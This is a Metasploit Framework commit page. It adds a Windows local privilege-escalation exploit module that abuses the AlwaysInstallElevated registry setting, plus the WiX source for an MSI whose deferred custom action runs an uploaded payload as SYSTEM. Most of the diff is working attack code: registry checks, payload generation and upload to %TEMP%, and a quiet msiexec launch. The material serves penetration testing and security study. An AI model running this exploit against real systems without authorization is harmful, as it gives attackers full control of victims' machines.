Skip to content

Commit b2f906e

Browse files
sinn3rsinn3r
committed
Merge branch 'master' of github.com:rapid7/metasploit-framework
2 parents b764110 + b7f304f commit b2f906e

File tree

4 files changed

+208
-1
lines changed

4 files changed

+208
-1
lines changed

‎data/exploits/exec_payload.msi

15 KB
Binary file not shown.

‎external/source/exploits/exec_payload_msi/exec_payload.wxs

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
<?xml version='1.0' encoding='windows-1252'?>
2+
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
3+
<Product Name='Foobar 1.0' Id='*'
4+
Language='1033' Codepage='1252' Version='1.0.0' Manufacturer='Acme Ltd.'>
5+
6+
<Package InstallerVersion="100" Languages="0" Manufacturer="Acme Ltd." ReadOnly="no" />
7+
8+
<Media Id='1' Cabinet='product.cab' EmbedCab='yes' />
9+
10+
<Directory Id='TARGETDIR' Name='SourceDir'>
11+
<Component Id='MyComponent' Guid='12345678-1234-1234-1234-123456789012'>
12+
<Condition>0</Condition>
13+
</Component>
14+
</Directory>
15+
16+
<!-- Execute must be deferred and Impersonate no to run as a higher privilege level -->
17+
<CustomAction Id='ExecNotepad' Directory='TARGETDIR' Impersonate='no' Execute='deferred' ExeCommand='[SourceDir]payload.exe' Return='asyncNoWait'/>
18+
19+
<Feature Id='Complete' Level='1'>
20+
<ComponentRef Id='MyComponent' />
21+
</Feature>
22+
23+
<InstallExecuteSequence>
24+
<ResolveSource After="CostInitialize" />
25+
<Custom Action="ExecNotepad" After="InstallInitialize" />
26+
</InstallExecuteSequence>
27+
28+
</Product>
29+
</Wix>

‎lib/msf/core/module/reference.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -95,7 +95,7 @@ def initialize(in_ctx_id = 'Unknown', in_ctx_val = '')
9595
if (in_ctx_id == 'OSVDB')
9696
self.site = 'http://www.osvdb.org/' + in_ctx_val.to_s
9797
elsif (in_ctx_id == 'CVE')
98-
self.site = 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=' + in_ctx_val.to_s
98+
self.site = "http://cvedetails.com/cve/#{in_ctx_val.to_s}/"
9999
elsif (in_ctx_id == 'BID')
100100
self.site = 'http://www.securityfocus.com/bid/' + in_ctx_val.to_s
101101
elsif (in_ctx_id == 'MSB')

‎modules/exploits/windows/local/always_install_elevated.rb

Lines changed: 178 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,178 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
require 'msf/core/post/windows/registry'
11+
require 'msf/core/post/common'
12+
require 'msf/core/post/file'
13+
14+
class Metasploit3 < Msf::Exploit::Local
15+
Rank = AverageRanking
16+
17+
include Msf::Exploit::EXE
18+
include Msf::Post::Common
19+
include Msf::Post::File
20+
include Msf::Post::Windows::Registry
21+
22+
def initialize(info={})
23+
super(update_info(info, {
24+
'Name' => 'Windows AlwaysInstallElevated MSI',
25+
'Description' => %q{
26+
This module checks the AlwaysInstallElevated registry keys which dictate if
27+
.MSI files should be installed with elevated privileges (NT AUTHORITY\SYSTEM).
28+
29+
The default MSI file is data/exploits/exec_payload.msi with the WiX source file
30+
under external/source/exploits/exec_payload_msi/exec_payload.wxs. This MSI simply
31+
executes payload.exe within the same folder.
32+
33+
The MSI may not execute succesfully successive times, but may be able to get around
34+
this by regenerating the MSI.
35+
36+
MSI can be rebuilt from the source using the WIX tool with the following commands:
37+
candle exec_payload.wxs
38+
light exec_payload.wixobj
39+
},
40+
'License' => MSF_LICENSE,
41+
'Author' =>
42+
[
43+
'Ben Campbell',
44+
'Parvez Anwar' # discovery?/inspiration
45+
],
46+
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
47+
'Platform' => [ 'win' ],
48+
'SessionTypes' => [ 'meterpreter' ],
49+
'DefaultOptions' =>
50+
{
51+
'WfsDelay' => 10,
52+
'EXITFUNC' => 'thread',
53+
'InitialAutoRunScript' => 'migrate -k -f'
54+
},
55+
'Targets' =>
56+
[
57+
[ 'Windows', { } ],
58+
],
59+
'References' =>
60+
[
61+
[ 'URL', 'http://www.greyhathacker.net/?p=185' ],
62+
[ 'URL', 'http://msdn.microsoft.com/en-us/library/aa367561(VS.85).aspx' ],
63+
[ 'URL', 'http://wix.sourceforge.net'] ,
64+
],
65+
'DisclosureDate'=> 'Mar 18 2010',
66+
'DefaultTarget' => 0
67+
}))
68+
69+
register_advanced_options([
70+
OptString.new('LOG_FILE', [false, 'Remote path to output MSI log file to.', nil]),
71+
OptBool.new('QUIET', [true, 'Run the MSI with the /quiet flag.', true])
72+
], self.class)
73+
end
74+
75+
def check
76+
install_elevated = "AlwaysInstallElevated"
77+
installer = "SOFTWARE\\Policies\\Microsoft\\Windows\\Installer"
78+
hkcu = "HKEY_CURRENT_USER\\#{installer}"
79+
hklm = "HKEY_LOCAL_MACHINE\\#{installer}"
80+
81+
local_machine_value = registry_getvaldata(hklm,install_elevated)
82+
83+
if local_machine_value.nil?
84+
print_error("#{hklm}\\#{install_elevated} does not exist or is not accessible.")
85+
return Msf::Exploit::CheckCode::Safe
86+
elsif local_machine_value == 0
87+
print_error("#{hklm}\\#{install_elevated} is #{local_machine_value}.")
88+
return Msf::Exploit::CheckCode::Safe
89+
else
90+
print_good("#{hklm}\\#{install_elevated} is #{local_machine_value}.")
91+
current_user_value = registry_getvaldata(hkcu,install_elevated)
92+
end
93+
94+
if current_user_value.nil?
95+
print_error("#{hkcu}\\#{install_elevated} does not exist or is not accessible.")
96+
return Msf::Exploit::CheckCode::Safe
97+
elsif current_user_value == 0
98+
print_error("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
99+
return Msf::Exploit::CheckCode::Safe
100+
else
101+
print_good("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
102+
return Msf::Exploit::CheckCode::Vulnerable
103+
end
104+
end
105+
106+
def cleanup
107+
if not @executed
108+
return
109+
end
110+
111+
begin
112+
print_status("Deleting MSI...")
113+
file_rm(@msi_destination)
114+
rescue Rex::Post::Meterpreter::RequestError => e
115+
print_error(e.to_s)
116+
print_error("Failed to delete MSI #{@msi_destination}, manual cleanup may be required.")
117+
end
118+
119+
begin
120+
print_status("Deleting Payload...")
121+
file_rm(@payload_destination)
122+
rescue Rex::Post::Meterpreter::RequestError => e
123+
print_error(e.to_s)
124+
print_error("Failed to delete payload #{@payload_destination}, this is expected if the exploit is successful, manual cleanup may be required.")
125+
end
126+
end
127+
128+
def exploit
129+
130+
if check != Msf::Exploit::CheckCode::Vulnerable
131+
@executed = false
132+
return
133+
end
134+
135+
@executed = true
136+
137+
msi_filename = "exec_payload.msi" # Rex::Text.rand_text_alpha((rand(8)+6)) + ".msi"
138+
msi_source = ::File.join(Msf::Config.install_root, "data", "exploits", "exec_payload.msi")
139+
140+
# Upload MSI
141+
@msi_destination = expand_path("%TEMP%\\#{msi_filename}").strip # expand_path in Windows Shell adds a newline and has to be stripped
142+
print_status("Uploading the MSI to #{@msi_destination} ...")
143+
144+
#upload_file - ::File.read doesn't appear to work in windows...
145+
source = File.open(msi_source, "rb"){|fd| fd.read(fd.stat.size) }
146+
write_file(@msi_destination, source)
147+
148+
# Upload payload
149+
payload = generate_payload_exe
150+
@payload_destination = expand_path("%TEMP%\\payload.exe").strip
151+
print_status("Uploading the Payload to #{@payload_destination} ...")
152+
write_file(@payload_destination, payload)
153+
154+
# Execute MSI
155+
print_status("Executing MSI...")
156+
157+
if datastore['LOG_FILE'].nil?
158+
logging = ""
159+
else
160+
logging = "/l* #{datastore['LOG_FILE']} "
161+
end
162+
163+
if datastore['QUIET']
164+
quiet = "/quiet "
165+
else
166+
quiet = ""
167+
end
168+
169+
cmd = "msiexec.exe #{logging}#{quiet}/package #{@msi_destination}"
170+
vprint_status("Executing: #{cmd}")
171+
begin
172+
result = cmd_exec(cmd)
173+
rescue Rex::TimeoutError
174+
vprint_status("Execution timed out.")
175+
end
176+
vprint_status("MSI command-line feedback: #{result}")
177+
end
178+
end

0 commit comments

Comments
 (0)